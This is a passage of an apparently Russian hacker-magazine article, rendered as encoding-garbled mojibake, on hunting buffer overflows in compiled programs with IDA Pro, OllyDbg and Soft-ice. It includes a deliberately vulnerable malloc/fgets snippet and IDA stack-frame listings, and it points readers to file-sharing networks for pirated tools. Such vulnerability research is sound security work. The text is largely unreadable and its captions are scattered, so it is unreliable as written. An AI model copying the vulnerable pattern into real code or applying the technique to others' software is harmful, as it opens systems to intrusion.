çàïðåäåëüíîé
äëèíû, ïîñ-
êîëüêó ìàòåðè-
íñêèå ôóíêöèè
ìîãóò îãðàíè-
÷èâàòü èõ ðàç-
ìåð ñâåðõó,
îáðàçóÿ óçêèé
êîðèäîð.

Ãîëûìè ðóêàìè ìíîãî äûð
íå íàëîâèøü! Àãðåññèâíàÿ
ïðèðîäà äâîè÷íîãî êîäà òðå-
áóåò ïðèìåíåíèÿ ñïåöèàëüíî-
ãî èíñòðóìåíòàðèÿ. Ïðåæäå
âñåãî ïîòðåáóþòñÿ äèçàññå-
ìáëåðû. Èõ ìíîãî, íî IDA PRO
áåññïîðíûé ëèäåð, îñòàâëÿåò
ñâîèõ êîíêóðåíòîâ äàëåêî ïî-
çàäè è ïîääåðæèâàåò ïðàêòè-
÷åñêè âñå ôîðìàòû èñïîëíÿå-
ìûõ ôàéëîâ, ïðîöåññîðû è êîìïèëÿòîðû,
ñóùåñòâóþùèå íà ñåãîäíÿøíèé äåíü (ñì.
ðèñ. 2).

Åùå ïîíàäîáèòñÿ îòëàä÷èê. Êëàññè÷åñêèé
âûáîð � Soft-ice (ñì. ðèñ. 4), îäíàêî â ïîñëåä-
íåå âðåìÿ åãî æèðíàÿ òóøà íà÷èíàåò óñòó-
ïàòü ìàëåíüêîìó è ïîäâèæíîìó
OllyDebugger'ó (ñì. ðèñ. 5), ãëàâíàÿ âêóñíîñòü
êîòîðîãî � àâòîìàòè÷åñêîå
îòîáðàæåíèå ðàñïîçíàííûõ
ASÑII-ñòðîê ðÿäîì ñî ñìåùå-
íèÿìè, ÷òî çíà÷èòåëüíî óïðî-
ùàåò ïîèñê ïåðåïîëíÿþùèõñÿ
áóôåðîâ, ïîñêîëüêó îíè ñòà-
íîâÿòñÿ âèäíû êàê íà ëàäîíè.
Ê ñîæàëåíèþ, áóäó÷è îòëàä÷è-
êîì ïðèêëàäíîãî óðîâíÿ,
OllyDebugger íå ìîæåò îòëà-
æèâàòü ÿäåðíûå êîìïîíåíòû
Windows (íåêîòîðûå ñåðâåð-
íûå ïðîöåññû â òîì ÷èñëå).

Åñëè èññëåäóåìàÿ ïðîãðàììà
óïàêîâàíà, ïåðåä íà÷àëîì äèç-
àññåìáëèðîâàíèÿ åå ñëåäóåò
ðàñïàêîâàòü, ÷òî ìîæíî ñäå-
ëàòü ëþáûì óíèâåðñàëüíûì
äàìïåðîì (Proc Dump, PE-
Tools, Lord-PE), à åùå ëó÷øå �
ñïåöèàëèçèðîâàííûì ðàñïà-
êîâùèêîì, çíàþùèì äàííûé
óïàêîâùèê â ëèöî (ïðàâäà, íå
äëÿ âñåõ óïàêîâùèêîâ ñóùå-
ñòâóþò ðàñïàêîâùèêè). Äàìïû, ñíÿòûå
ñ ïðîãðàììû, ÷àùå âñåãî íåðàáîòîñïî-
ñîáíû è äëÿ ñâîåãî çàïóñêà òðåáóþò
ñåðüåçíîé äîðàáîòêè íàïèëüíèêîì.
Îäíàêî çà÷åì çàïóñêàòü èõ? 
Äëÿ äèçàññåìáëèðîâàíèÿ îíè ïîäîé-
äóò è òàê.
Âñå âûøåóïîìÿíóòûå ïðîäóêòû ìîæ-
íî íàéòè â Îñëå (Donkey) èëè â Ìóëå
(Mule) � ôàéëîîáìåííûõ ñåòÿõ, ãðóáî
ãîâîðÿ, ïðåäñòàâëÿþùèõ ñîáîé èíòåð-
íåò âíóòðè èíòåðíåòà. Ñ èõ ïîÿâëåíè-
åì ïîèñêè âàðåçà íà WEB'å ñòàëè óæå íåàêòóàëüíû (óäèâèòåëüíî,
íî î ñóùåñòâîâàíèè îñëà ìíîãèå äî ñèõ ïîð íå çíàþò!).

ÍÅÎÁÕÎÄÈÌÛÉ ÈÍÑÒÐÓÌÅÍÒÀÐÈÉ

Ðèñ. 2. Êîíñîëüíàÿ âåðñèÿ IDA PRO 

Ðèñ. 4. OllyDebugger

Ðèñ. 5. Ïðîôåññèîíàëüíî îðèåíòèðîâàí-
íûé îòëàä÷èê Soft-ice

Ðèñ. 3. Äèçàññåìáëåð
ïîä Palm PC



íî, åñëè ïîëüçîâàòåëü ââåäåò ñ êëà-
âèàòóðû ñòðîêó â 100 è áîëåå áàéò, òî
ïðîèçîéäåò íåìèíóåìîå ïåðåïîëíå-
íèå áóôåðà è íèêàêèå îãðàíè÷èòåëè
äëèíû íå ñïàñóò! Íî ýòî óæå ëèðèêà.

Ïîëíûé ïåðå÷åíü ïîòåíöèàëüíî
îïàñíûõ ôóíêöèé çàíèìàåò ñëèøêîì
ìíîãî ìåñòà, ïîýòîìó çäåñü íå ïðèâî-
äèòñÿ. Áóäåì ó÷èòüñÿ äåéñòâîâàòü ïî
îáñòîÿòåëüñòâàì. Çàãðóæàåì èññëåäó-
åìóþ ïðîãðàììó â äèçàññåìáëåð (ëó÷-
øå âñåãî â IDA PRO), íàæèìàåì <Shift-
F3>, ùåëêàåì ìûøüþ ïî êîëîíêå "L"
(ñîêðàùåíèå îò Library � áèáëèîòå÷-
íàÿ ôóíêöèÿ), îòäåëÿÿ áèáëèîòå÷íûå
ôóíêöèè îò âñåõ îñòàëüíûõ. Äîñòàåì
ñ ïîëêè òîëñòûé òîì ñïðàâî÷íîãî ðó-
êîâîäñòâà (äëÿ ëèöåíçèîííûõ ïîëü-
çîâàòåëåé) èëè çàïóñêàåì ñâîé ëþáè-
ìûé MSDN (äëÿ âñåõ îñòàëüíûõ) è
ñìîòðèì íà ïðîòîòèï êàæäîé èç ïåðå-
÷èñëåííûõ çäåñü ôóíêöèé. Åñëè ñðå-
äè àðãóìåíòîâ ïðèñóòñòâóåò óêàçà-
òåëü íà áóôåð (÷òî-òî òèïà char*,
void*, LPTSTR è ò.ä.) è ýòîò áóôåð ïðè-
íèìàåò âîçâðàùàåìûå ôóíêöèåé äàí-
íûå, òî ïî÷åìó áû íå ïðîâåðèòü, êàê
îí îòíîñèòñÿ ê ïåðåïîëíåíèþ?

Íàæèìàåì <Enter>, ïåðåõîäÿ ê íà÷àëó
ôóíêöèè, à çàòåì âõîäèì â ìåíþ
View\Open Subview\Cross Reference, îòê-
ðûâàÿ îêíî ñ ïåðåêðåñòíûìè ññûëêàìè,
êàæäàÿ èç êîòîðûõ âåäåò ê òî÷êå âûçî-
âà íàøåé ôóíêöèè. Â çàâèñèìîñòè îò
îñîáåííîñòåé êîìïèëÿòîðà è ñåêñóàëü-
íûõ íàêëîííîñòåé ïðîãðàììèñòà, ïðîåê-
òèðîâàâøåãî èññëåäóåìîå ïðèëîæåíèå,
âûçîâ ìîæåò áûòü êàê íåïîñðåäñòâåí-
íûì (òèïà CALL our_func), òàê è êîñâåí-
íûì (òèïà mov ecx, pClass/mov ebx,[ecx +
4]/call ebx/�/pClass DD xxx/DD offset
our_func). Â ïîñëåäíåì ñëó÷àå ïåðåêðå-

ñòíûå ññûëêè íà out_func áóäóò âåñòè ê
DD offset our_func è îïðåäåëèòü ìåñòî
åå ðåàëüíîãî âûçîâà áóäåò íå òàê-òî
ïðîñòî! Îáû÷íî õàêåðû â òàêèõ ñëó÷àÿõ
íàíèìàþò îòëàä÷èê, óñòàíàâëèâàÿ íà
our_func òî÷êó îñòàíîâà, à çàòåì çàïè-
ñûâàþò EIP âñåõ ìåñò, îòêóäà îíà âûçû-
âàåòñÿ (êñòàòè, íàëè÷èå èíòåãðèðîâàí-
íîãî îòëàä÷èêà â ïîñëåäíèõ âåðñèÿõ
IDA ñóùåñòâåííî óñêîðÿåò ýòîò ïðî-
öåññ).

È âîò ìû íàõîäèìñÿ â îêðåñòíîñòÿõ
âûçûâàþùåãî êîäà! Åñëè àðãóìåíò,
îïðåäåëÿþùèé ðàçìåð ïðèíèìàåìîãî
áóôåðà, ïðåäñòàâëÿåò ñîáîé íåïîñðå-

äñòâåííîå çíà÷åíèå (÷òî-òî òèïà push
400h, ñì. ëèñòèíã 2) � ýòî õîðîøèé
çíàê, è äûðà, ñêîðåå âñåãî, æäåò íàñ
ãäå-òî ïîáëèçîñòè. Åñëè æå ýòî íå òàê,
íå ñòîèò îò÷àèâàòüñÿ: ëó÷øå, ïðîêðó-
÷èâàÿ êóðñîð ââåðõ, ïîñìîòðåòü, ãäå
ýòîò ðàçìåð èíèöèàëèçèðóåòñÿ. Ìî-
æåò áûòü, îí âñå-òàêè ïðåäñòàâëÿåò
ñîáîé êîíñòàíòó, ïåðåäàâàåìóþ ÷åðåç
áîëåå-ìåíåå äëèííóþ öåïî÷êó ïåðå-
ìåííûõ èëè äàæå àðãóìåíòîâ ìàòå-
ðèíñêèõ ôóíêöèé!

Òåïåðü íàéäåì êîä, îñóùåñòâëÿþ-
ùèé âûäåëåíèå ïàìÿòè ïîä áóôåð
(îáû÷íî çà ýòî îòâå÷àþò ôóíêöèè
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Ôóíêöèè ñ ÿâíûì îãðàíè÷åíèåì
ïðåäåëüíî äîïóñòèìîé äëèíû áóôåðà

(fgets, GetWindowText, GetFullPathName)
íàìíîãî ìåíåå îïàñíû.

Ñóùåñòâóþò ðàçëè÷íûå ïîäõîäû ê èññëåäîâàíèþ äâîè÷íîãî êî-
äà. Ìåòîäèêè ñëåïîãî ïîèñêà íå ïðåäïîëàãàþò íè÷åãî, êðîìå ìåòî-
äè÷íîãî ïåðåáîðà ðàçëè÷íûõ êîìáèíàöèé âõîäíûõ äàííûõ (êîòî-
ðûìè, êàê ïðàâèëî, ÿâëÿþòñÿ ñòðîêè ðàçëè÷íîé äëèíû, èñïîëüçóå-
ìûå ãëàâíûì îáðàçîì äëÿ âûÿâëåíèÿ ïåðåïîëíÿþùèõñÿ áóôåðîâ).
Öåëåíàïðàâëåííûé àíàëèç òðåáóåò ãëóáîêèõ çíàíèé ñèñòåìû, íåò-
ðèâèàëüíîãî ìûøëåíèÿ è áîãàòîãî îïûòà ïðîåêòèðîâàíèÿ "ïðî-
ìûøëåííûõ" ïðîãðàììíûõ êîìïëåêñîâ. Õàêåð äîëæåí íàïåðåä
çíàòü, ÷òî èìåííî îí èùåò. Èçëþáëåííûå îøèáêè ðàçðàáîò÷èêîâ.
Âåðîÿòíûå ìåñòà ñêîïëåíèÿ áàãîâ. Îñîáåííîñòè è îãðàíè÷åíèÿ
ðàçëè÷íûõ ÿçûêîâ ïðîãðàììèðîâàíèÿ. Îäíèõ ëèøü íàâûêîâ äèçàñ-
ñåìáëèðîâàíèÿ (òû âåäü óìååøü äèçàññåìáëèðîâàòü, íå ïðàâäà
ëè?) äëÿ íàøèõ öåëåé îêàæåòñÿ êàòàñòðîôè÷åñêè íåäîñòàòî÷íî. 
Åñòåñòâåííî, òóïîé ïåðåáîð íå âñåãäà ïðèâîäèò ê ïîëîæèòåëüíîìó
ðåçóëüòàòó è ìíîæåñòâî äûð ïðè ýòîì îñòàþòñÿ íåçàìå÷åííûìè. Ñ
äðóãîé ñòîðîíû, èçó÷åíèå äèçàññåìáëåðíûõ ëèñòèíãîâ òàêæå íå ãà-
ðàíò óñïåõà. Òû ìîæåøü ïðîñèäåòü çà ìîíèòîðîì ìíîãèå ãîäû, íî
íå íàéòè íè îäíîãî äîñòîéíîãî áàãà. Ýòî óæ êàê ïîâåçåò èëè íå ïî-
âåçåò (÷òî, êñòàòè, íàìíîãî âåðîÿòíåå)� Ïîýòîìó, ïðåæäå ÷åì ïðè-
áåãàòü ê äèçàññåìáëèðîâàíèþ, óáåäèñü, ÷òî âñå âîçìîæíîå è íå-
âîçìîæíîå óæå ñäåëàíî. Êàê ìèíèìóì ñëåäóåò íàíåñòè ìàññèðî-
âàííûé óäàð ïî âõîäíûì ïîëÿì, çàñîâûâàÿ â íèõ ñòðîêè íåïîìåð-
íîé äëèíû, à êàê ìàêñèìóì � èñïðîáîâàòü òèïîâûå êîíöåïòóàëüíûå
óÿçâèìîñòè. Â ÷àñòíîñòè, åñëè àòàêóåìûé áðàíäìàóýð áåñïðåïÿò-
ñòâåííî ïðîïóñêàåò ñèëüíî ôðàãìåíòèðîâàííûå TCP-ïàêåòû, äèç-
àññåìáëèðîâàòü åãî íå íóæíî, ñóäó è òàê âñå ÿñíî: ÷òîáû îáíàðó-
æèòü ïîäîáíóþ äûðó â äâîè÷íîì êîäå, íåîáõîäèìî îò÷åòëèâî
ïðåäñòàâëÿòü ìåõàíèçì ðàáîòû áðàíäìàóýðà è çàðàíåå ïðåäïîëà-
ãàòü åå ñóùåñòâîâàíèå. À ðàç òàê, òî íå ïðîùå ëè áóäåò ñàìîñòîÿ-
òåëüíî ñôîðìèðîâàòü ôðàãìåíòèðîâàííûé ïàêåò è ïîñìîòðåòü, êàê
íà íåãî îòðåàãèðóåò áðàíäìàóýð? Ïîäëîæíûå ïàêåòû � äðóãîå äå-
ëî. Îòïðàâëÿÿ èõ æåðòâå, ìû äîëæíû çíàòü, êàêèå èìåííî ïîëÿ ïðî-
âåðÿþòñÿ, à êàêèå íåò. Áåç äèçàññåìáëèðîâàíèÿ çäåñü óæå íå îáîé-
òèñü! Ìû äîëæíû âûäåëèòü êîä, îòâåòñòâåííûé çà îáðàáîòêó çàãî-
ëîâêîâ, è ïðîàíàëèçèðîâàòü êðèòåðèè îòáðàêîâêè ïàêåòîâ. Â êî-
íå÷íîì ñ÷åòå äèçàññåìáëåð � âñåãî ëèøü èíñòðóìåíò, è íà ðîëü ãå-
íåðàòîðà èäåé îí íå òÿíåò. Áåñöåëüíîå äèçàññåìáëèðîâàíèå � ýòî
ïóòü â íèêóäà.

ÏÐÅÆÄÅ ×ÅÌ ÍÀ×ÀÒÜ�

Ðèñ. 7. Âèä íàâèãàòîðà IDA PRO

Ðèñ. 8. Òåïåðü â Áàãäàäå ïîëíûé ïîðÿäîê!

Ðèñ. 9. Ïåðå÷åíü ñèãíàòóð, èçâåñòíûõ ÈÄÅ 



malloc è new). Åñëè àðãóìåíò, îïðåäå-
ëÿþùèé ðàçìåð âûäåëÿåìîé ïàìÿòè,
òàêæå ïðåäñòàâëÿåò ñîáîé êîíñòàíòó,
ïðè÷åì ýòà êîíñòàíòà ìåíüøå ïðå-
äåëüíî äîïóñòèìîé äëèíû âîçâðàùà-
åìûõ äàííûõ, äûðà íàéäåíà è ìîæíî
ñìåëî ïåðåõîäèòü ê ôàçå àíàëèçà
âîçìîæíûõ ñïîñîáîâ âîçäåéñòâèé íà
ïåðåïîëíÿþùèéñÿ áóôåð ÷åðåç ïîëÿ
âõîäíûõ äàííûõ.

Çàêîíû áåçîïàñíîãî ïðîåêòèðîâà-
íèÿ ãëàñÿò: ïðåæäå ÷åì âûäåëÿòü áó-
ôåð, îïðåäåëè òî÷íûé ðàçìåð äàí-
íûõ, êîòîðûå òû ñîáèðàåøüñÿ ïîëî-
æèòü òóäà. Äðóãèìè ñëîâàìè, â ïðà-
âèëüíîé ïðîãðàììå âûçîâó malloc
èëè new âñåãäà ïðåäøåñòâóåò strlen,
GetWindowTextLength èëè ÷òî-òî òèïà
òîãî. Â ïðîòèâíîì ñëó÷àå ïðîãðàììà
ïîòåíöèàëüíî óÿçâèìà. Ðàçóìååòñÿ,
íàëè÷èå ïðåâåíòèâíîé ïðîâåðêè ðàç-
ìåðà ñàìî ïî ñåáå åùå íå ãàðàíò ñòà-
áèëüíîñòè, ïîñêîëüêó äàëåêî íå âî
âñåõ ñëó÷àÿõ çàòðåáîâàííûé ðàçìåð
îïðåäåëÿåòñÿ ïðàâèëüíî, îñîáåííî
åñëè â áóôåð ñëèâàþòñÿ äàííûå ñ
íåñêîëüêèõ èñòî÷íèêîâ.

Ñ ëîêàëüíûìè ïåðåìåííûì â ýòîì
ïëàíå íàìíîãî ñëîæíåå, ïîñêîëüêó èõ
ðàçìåð ïðèõîäèòñÿ ÿâíûì îáðàçîì
çàäàâàòü íà ýòàïå êîìïèëÿöèè ïðîã-
ðàììû, êîãäà äëèíà âîçâðàùàåìûõ
äàííûõ åùå íå èçâåñòíà. Íåóäèâè-
òåëüíî, ÷òî ïåðåïîëíÿþùèåñÿ áóôå-
ðà ÷àùå âñåãî îáíàðóæèâàþòñÿ èìåí-
íî ñðåäè ëîêàëüíûõ ïåðåìåííûõ.

Ëîêàëüíûå ïåðåìåííûå õðàíÿòñÿ â
ñòåêîâûõ ôðåéìàõ (àíãë. frames), òàê-
æå íàçûâàåìûõ êàäðàìè èëè àâòîìà-
òè÷åñêîé ïàìÿòüþ. Êàæäîé ôóíêöèè
âûäåëÿåòñÿ "ïåðñîíàëüíûé" êàäð, â
êîòîðûé ïîìåùàþòñÿ âñå ïðèíàäëå-
æàùèå åé ëîêàëüíûå ïåðåìåííûå.
Ôîðìèðîâàíèå êàäðà ÷àùå âñåãî îñó-
ùåñòâëÿåòñÿ ìàøèííîé êîìàíäîé
"SUB ESP, xxx", ðåæå � "ADD ESP,

�xxx", ãäå xxx - ðàçìåð êàäðà â áàéòàõ.
Òåêóùèå âåðñèè IDA PRO ïî óìîë÷à-
íèþ òðàêòóþò âñå íåïîñðåäñòâåííûå
çíà÷åíèÿ êàê áåççíàêîâûå ÷èñëà, è
ïðåîáðàçîâàíèå "xxx" â " xxx" ïðèõî-
äèòñÿ îñóùåñòâëÿòü âðó÷íóþ ïóòåì
íàæàòèÿ íà êëàâèøó < � >.

Ê ñîæàëåíèþ, "ðàçîáðàòü" ìîíîëèò-
íûé êàäð íà îòäåëüíûå ëîêàëüíûå ïå-
ðåìåííûå â îáùåì ñëó÷àå íåâîçìîæ-
íî, ïîñêîëüêó êîìïèëÿòîð ïîëíîñòüþ
óíè÷òîæàåò èñõîäíóþ èíôîðìàöèþ è
àíàëèç ñòàíîâèòñÿ íåîäíîçíà÷íûì.
Îäíàêî äëÿ íàøèõ öåëåé âîçìîæíîñ-
òåé àâòîìàòè÷åñêîãî àíàëèçàòîðà IDA
PRO áîëåå ÷åì äîñòàòî÷íî. Ìû áóäåì
èñõîäèòü èç òîãî, ÷òî ëîêàëüíûå áó-
ôåðà ÷àùå âñåãî (íî íå âñåãäà!) èìå-
þò òèï byte *, à èõ ðàçìåð ñîñòàâëÿåò
ïî ìåíüøåé ìåðå 5 áàéò (ïðàâäà, êàê
ïîêàçûâàåò ñòàòèñòèêà, îøèáêè ïåðå-
ïîëíåíèÿ ÷àùå âñåãî âñòðå÷àþòñÿ
èìåííî â ÷åòûðåõáàéòîâûõ áóôåðàõ,
êîòîðûå ïðè áåãëîì àíàëèçå ëåãêî
ñïóòàòü ñ DWORD).

Ðàññìîòðèì â êà÷åñòâå ïðèìåðà
êàäð ñòåêà, "ðàçîáðàííûé" àâòîìàòè-
÷åñêèì àíàëèçàòîðîì IDA PRO, è ïî-
ïûòàåìñÿ îáíàðóæèòü â íåì ëîêàëü-
íûå áóôåðà (ñì. ëèñòèíã 3).

Ïåðåìåííàÿ var_38 èìååò òèï
DWORD è çàíèìàåò 4 áàéòà (ðàçìåð
ïåðåìåííîé îïðåäåëÿåòñÿ ïóòåì âû-
÷èòàíèÿ àäðåñà òåêóùåé ïåðåìåííîé
èç àäðåñà ñëåäóþùåé: �34h � (� 38h)
== 4h). Íà áóôåð îíà ïîõîæà ìàëî.

Ïåðåìåííàÿ var_34 èìååò òèï BYTE
è çàíèìàåò 10h áàéò, ÷òî òèïè÷íî äëÿ
ëîêàëüíîãî áóôåðà. Òî æå ñàìîå ìîæ-
íî ñêàçàòü è î ïåðåìåííîé var_20. Ïå-
ðåìåííàÿ var_24 õîòÿ è èìååò òèï
BYTE, çàíèìàåò âñåãî 4 áàéòà, ïîýòî-
ìó ìîæåò áûòü êàê êîìïàêòíûì ëî-
êàëüíûì áóôåðîì, òàê è ïðîñòîé ñêà-
ëÿðíîé ïåðåìåííîé (ïðè÷åì ïîñëåä-
íèå âñòðå÷àþòñÿ íàìíîãî ÷àùå). Äî
òåõ ïîð ïîêà íà ïðåäìåò ïåðåïîëíå-
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Ñëåäóåò ïîì-
íèòü î òîì, ÷òî
îïòèìèçèðóþ-
ùèå êîìïèëÿ-
òîðû îíëàéíÿò
ôóíêöèè mem-
cpy/strcpy è
memcmp/str-
cmp, íåïîñðåä-
ñòâåííî âñòàâ-
ëÿÿ èõ òåëî â
êîä! Èùè
èíñòðóêöèè rep
movs/rep cmps
è èññëåäóé èõ
îêðåñòíîñòè!

Ðèñ. 10. Áåðåì áèáëèîòå÷íóþ ôóíêöèþ, ïðîòîòèï êîòîðîé äîïóñêàåò âîçìîæíîñòü ïå-
ðåïîëíåíèÿ (1), è ïåðåõîäèì ïî ïåðåêðåñòíûì ññûëêàì â îêðåñòíîñòè åå âûçîâà (2),
ñìîòðèì íà îãðàíè÷èòåëü ïðåäåëüíî äîïóñòèìîé äëèíû âîçâðàùàåìûõ äàííûõ, ñâåðÿÿ
åãî ñ ðàçìåðîì âûäåëÿåìîãî áóôåðà (3), äåëàåì âûâîä î âîçìîæíîñòè (èëè íåâîçìîæ-
íîñòè) ïåðåïîëíåíèÿ

Ðèñ. 11. Èåðàðõèÿ ôóíêöèé â ãðàôè÷åñêîì ïðåäñòàâëåíèè

Çàêîíû áåçîïàñíîãî ïðîåêòèðîâàíèÿ
ãëàñÿò: ïðåæäå ÷åì âûäåëÿòü áóôåð,

îïðåäåëè òî÷íûé ðàçìåð äàííûõ.



íèÿ íå áóäóò èññëåäîâàíû âñå ÿâíûå
áóôåðà, âîçèòüñÿ ñ ïîäîáíûìè "êàí-
äèäàòàìè â áóôåðà" íåò íèêàêîãî
ñìûñëà.

Ïðîñìàòðèâàÿ äèçàññåìáëåðíûé êîä
ôóíêöèè, íàéäåì âñå ññûëêè íà âûÿâ-
ëåííûé áóôåð è ïðîàíàëèçèðóåì âîç-
ìîæíûå óñëîâèÿ åãî ïåðåïîëíåíèÿ.
Âîò íàïðèìåð:

push 300
lea eax, [ebp+var_34]
push eax
call _fgets
add esp, 0Ch

Ñðàçó âèäíî, ÷òî ïåðåìåííàÿ var_34
èñïîëüçóåòñÿ äëÿ õðàíåíèÿ ââåäåí-
íîé ñòðîêè (çíà÷èò, ýòî âñå-òàêè áó-
ôåð!) ñ ïðåäåëüíî äîïóñòèìîé äëèíîé
â 300h áàéò, ïðè äëèíå ñàìîé ëîêàëü-
íîé ïåðåìåííîé â 10h áàéò. Íå èñêëþ-
÷åíî, ÷òî var_34, var_24 è var_20 â
äåéñòâèòåëüíîñòè ïðåäñòàâëÿþò ñî-
áîé "êóñî÷êè" îäíîãî áóôåðà, îäíàêî
â äàííîì ñëó÷àå ýòî íè÷åãî íå ìåíÿ-
åò, ïîñêîëüêó èõ ñîâîêóïíûé ðàçìåð
íàìíîãî ìåíüøå 300h!

Åñëè æå ñðåäè ëîêàëüíûõ ïåðåìåí-
íûõ îáíàðóæèòü ïåðåïîëíÿþùèåñÿ
áóôåðà íåñìîòðÿ íà âñå óñèëèÿ òàê è
íå óäàñòñÿ, ìîæíî ïîïûòàòü ñ÷àñòüÿ
ñðåäè ðàçâàëèí äèíàìè÷åñêîé ïàìÿ-
òè, îòñëåæèâàÿ âñå ïåðåêðåñòíûå
ññûëêè íà ôóíêöèè òèïà new è malloc
è àíàëèçèðóÿ îêðåñòíîñòè èõ âûçîâà.

Êàê áû òàì íè áûëî, îáíàðóæèâ ïåðå-
ïîëíÿþùèéñÿ áóôåð â îäíîé èç ãëóáî-
êî âëîæåííûõ ôóíêöèé, íå ñïåøè ðà-
äîâàòüñÿ: âîçìîæíî, îí íèêàê íå ñâÿ-
çàí ñ ïîòîêîì ïîëüçîâàòåëüñêèõ äàí-
íûõ, èëè (íå ìåíåå íåïðèÿòíî) îäíà èç
ìàòåðèíñêèõ ôóíêöèé îãðàíè÷èâàåò
ïðåäåëüíî äîïóñòèìóþ äëèíó ââîäà
ñâåðõó è ïåðåïîëíåíèÿ íå ïðîèñõîäèò.
Ïîëüçîâàòåëè ãðàôè÷åñêîé âåðñèè IDA
(ôóóó!) ìîãóò âîñïîëüçîâàòüñÿ èíñòðó-
ìåíòîì CALL GRAPH äëÿ ïðîñìîòðà äå-
ðåâà âûçîâîâ, óðîäëèâî îòîáðàæàþùå-
ãî âçàèìîîòíîøåíèÿ ìåæäó äî÷åðíèìè
è ìàòåðèíñêèìè ôóíêöèÿìè è ïîçâîëÿ-
þùåãî (âî âñÿêîì ñëó÷àå, òåîðåòè÷åñ-
êè) ïðîñëåäèòü ìàðøðóò ïåðåäâèæåíèÿ
ââåäåííûõ ïîëüçîâàòåëåì äàííûõ ïî
ïðîãðàììå. Ê ñîæàëåíèþ, îòñóòñòâèå
êàêèõ áû òî íè áûëî ñðåäñòâ íàâèãàöèè
(íåò äàæå ïðîñòåéøåãî ïîèñêà!) îáåñöå-
íèâàåò âñå ïðåëåñòè CALL GRAPH'à, è
ñîðèåíòèðîâàòüñÿ â ïîñòðîåííûõ èì
äèàãðàììàõ ïðîñòî íåðåàëüíî. Îäíàêî
íèêòî íå çàïðåùàåò ðàçðàáàòûâàòü
àäåêâàòíûå ñðåäñòâà âèçóàëèçàöèè ñà-
ìîñòîÿòåëüíî.

Ïîêà àäåêâàòíûé èíñòðóìåíò íå ãî-
òîâ, ïðèõîäèòñÿ èìåòü ñåêñ ñ îòëàä÷è-
êîì, ïðè÷åì íå ïðîñòîé, à àíàëüíûé.
Èñòîðèÿ íà÷èíàåòñÿ ïðîñòî. Çàïîëíÿ-
åì âñå äîñòóïíûå ïîëÿ ïîëüçîâà-
òåëüñêîãî ââîäà, óñòàíàâëèâàåì òî÷-
êó îñòàíîâà íà âûçîâ ñ÷èòàþùåé èõ
ôóíêöèè (íàïðèìåð recv), óñòàíàâëè-
âàåì òî÷êè îñòàíîâà íåïîñðåäñòâåííî
íà áóôåð, ïðèíèìàþùèé ââåäåííûå
íàìè äàííûå, è çàòåì æäåì ïîñëåäóþ-

ùèõ îáðàùåíèé. ×àùå âñåãî äàííûå
îáðàáàòûâàþòñÿ íå ñðàçó ïîñëå ïðèå-
ìà, à ïåðåãîíÿþòñÿ ÷åðåç ìíîæåñòâî
ïðîìåæóòî÷íûõ áóôåðîâ, êàæäûé èç
êîòîðûõ ìîæåò ñîäåðæàòü îøèáêè ïå-
ðåïîëíåíèÿ. ×òîáû óäåðæàòü ñèòóà-
öèþ ïîä êîíòðîëåì, ìû âûíóæäåíû
óñòàíàâëèâàòü òî÷êè îñòàíîâà íà êàæ-

äûé èç ïðîìåæóòî÷íûõ áóôåðîâ, îáÿ-
çàòåëüíî îòñëåæèâàÿ èõ îñâîáîæäå-
íèå (ïîñëå îñâîáîæäåíèÿ ëîêàëüíîãî
áóôåðà ïðèíàäëåæàùàÿ åìó îáëàñòü
ïàìÿòè ìîæåò áûòü èñïîëüçîâàíà êåì
óãîäíî, âûçûâàÿ ëîæíûå âñïëûòèÿ
îòëàä÷èêà, îòíèìàþùèå âðåìÿ è
ñèëüíî íåðâèðóþùèå íàñ). À âåäü òî-
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ULTIMATE ADVENTURE32 ÊËÈÅÍÒ

#define MAX_BUF_SIZE 100
#define MAX_STR_SIZE 1024
char *x; x = malloc(MAX_BUF_SIZE); fgets(x, MAX_STR_SIZE, f);

ËÈÑÒÈÍÃ 1. ÏÐÈÌÅÐ ÏÐÎÃÐÀÌÌÛ, ÏÎÄÂÅÐÆÅÍÍÎÉ
ÏÅÐÅÏÎËÍÅÍÈÞ ÑÎ ÑÐÛÂÎÌ ÏÐÅÄÎÕÐÀÍÈÒÅËÜÍÎÃÎ
ÊËÀÏÀÍÀ

.text:00401017 push 400h

.text:0040101C mov ecx, [ebp+var_8]

.text:0040101F push ecx

.text:00401020 call _fgets

ËÈÑÒÈÍÃ 2. ÍÅÏÎÑÐÅÄÑÒÂÅÍÍÎÅ ÇÍÀ×ÅÍÈÅ ÌÀÊÑÈ-
ÌÀËÜÍÎÉ ÄËÈÍÛ ÁÓÔÅÐÀ, ÏÅÐÅÄÀÂÀÅÌÎÅ ÔÓÍÊÖÈÈ,
ÕÎÐÎØÈÉ ÏÐÈÇÍÀÊ ÂÎÇÌÎÆÍÎÃÎ ÏÅÐÅÏÎËÍÅÍÈß

.text:00401012 sub_401012 proc near ; CODE XREF: start+AF?p

.text:00401012

.text:00401012 var_38 = dword ptr -38h

.text:00401012 var_34 = byte ptr -34h

.text:00401012 var_24 = byte ptr -24h

.text:00401012 var_20 = byte ptr -20h

.text:00401012 var_10 = dword ptr -10h

.text:00401012 var_C = dword ptr -0Ch

.text:00401012 var_8 = dword ptr -8

.text:00401012 var_4 = dword ptr -4

.text:00401012

ËÈÑÒÈÍÃ 3. ËÎÊÀËÜÍÛÅ ÏÅÐÅÌÅÍÍÛÅ,
ÀÂÒÎÌÀÒÈ×ÅÑÊÈ ÂÎÑÑÒÀÍÎÂËÅÍÍÛÅ IDA

Ïðåæäå ÷åì
èñêàòü äûðû â
ïîäîïûòíîé
ïðîãðàììå,
óáåäèñü, ÷òî
èõ óæå íå
íàøëè äðóãèå!
Ñîáåðè âñå èç-
âåñòíûå íà
äàííûé ìîìåíò
äûðû è îòìåòü
èõ íà êàðòå
äèçàññåìáëåð-
íîãî êîäà.

hex-ðåäàêòîð ïîä LINUX



÷åê îñòàíîâà âñåãî ÷åòûðå� Êàê æå
ìû áóäåì îòñëåæèâàòü îáðàùåíèÿ ê
äåñÿòêàì ëîêàëüíûõ áóôåðîâ ñ ïî-
ìîùüþ âñåãî ÷åòûðåõ òî÷åê?

À âîò êàê! Âåðñèÿ Soft-ice äëÿ
Windows 9x ïîääåðæèâàåò óñòàíîâêó
òî÷êè îñòàíîâà íà ðåãèîí, ïðè÷åì êî-
ëè÷åñòâî òàêèõ òî÷åê ïðàêòè÷åñêè íå
îãðàíè÷åíî. Ê ñîæàëåíèþ, â Soft-ice
äëÿ Windows NT ýòà âêóñíîñòü îòñóò-
ñòâóåò, è åå ïðèõîäèòñÿ ýìóëèðîâàòü
ïóòåì õèòðîóìíûõ ìàíèïóëÿöèé ñ àò-
